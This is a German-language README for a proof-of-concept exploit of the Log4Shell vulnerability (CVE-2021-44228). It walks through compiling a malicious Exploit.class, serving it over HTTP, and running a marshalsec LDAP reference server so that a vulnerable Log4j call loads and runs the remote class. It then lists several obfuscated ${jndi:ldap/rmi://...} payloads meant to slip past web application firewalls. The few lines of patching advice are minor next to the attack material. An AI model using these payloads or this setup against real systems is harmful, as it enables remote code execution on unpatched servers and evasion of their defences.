yuuki1967/cve-2021-44228-apache-log4j-rceProof-of-Concept-Exploit für CVE-2021-44228 (Log4Shell) mit JNDI injection, LDAP-Referenzserver und WAF-Bypass-Techniken zum Testen von Log4j RCE-Sicherheitslücken.
Die Version 1.x hat andere Sicherheitslücken, wir empfehlen, auf die neueste Version zu aktualisieren.
Sicherheitshinweise / Bulletins zu Log4Shell (CVE-2021-44228)
Laden Sie dieses Projekt herunter, kompilieren Sie den Exploit-Code blob/master/src/main/java/Exploit.java, und starten Sie einen Webserver, der das Herunterladen der kompilierten Binärdatei erlaubt.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# Webserver starten
# Für Python2
python -m SimpleHTTPServer 8888
# Für Python3
python3 -m http.server 8888
# Stelle sicher, dass der Python-Webserver im gleichen Verzeichnis wie Exploit.class läuft, um zu testen
curl -I 127.0.0.1:8888/Exploit.class
Laden Sie ein weiteres Projekt herunter und führen Sie die LDAP-Server-Implementierung aus, die JNDI-Referenzen zurückgibt https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 erforderlich
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Erstellen und ausführen Sie den Aktivierungscode (simulieren Sie einen Log4j-Angriff auf einen verwundbaren Java-Webserver) blob/master/src/main/java/log4j.java, und Ihre Taschenrechner-App erscheint.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# Erwarten Sie Folgendes
# 1. Taschenrechner-App erscheint
# 2. in der ldapserver-Konsole,
# Sendet LDAP-Referenzergebnis für Exploit, das auf http://127.0.0.1:8888/Exploit.class weiterleitet
# 3. in der Webserver-Konsole,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Tipps:
Verlassen Sie sich nicht darauf, dass eine aktuelle Java-Version Sie rettet. Aktualisieren Sie Log4 (oder entfernen Sie die JNDI-Suche). Deaktivieren Sie die Expansion (scheint sowieso eine ziemlich schlechte Idee zu sein).
Zum Beispiel:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Vertrauen Sie nicht der Web Application Firewall.
Lookups bieten eine Möglichkeit, Werte an beliebigen Stellen zur Log4j-Konfiguration hinzuzufügen.
Die Methoden, die ein Leck verursachen, sind in finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Wenn Sie Black-Box-Tests durchführen möchten, empfehle ich passives Scannen.
Viel Spaß!!!
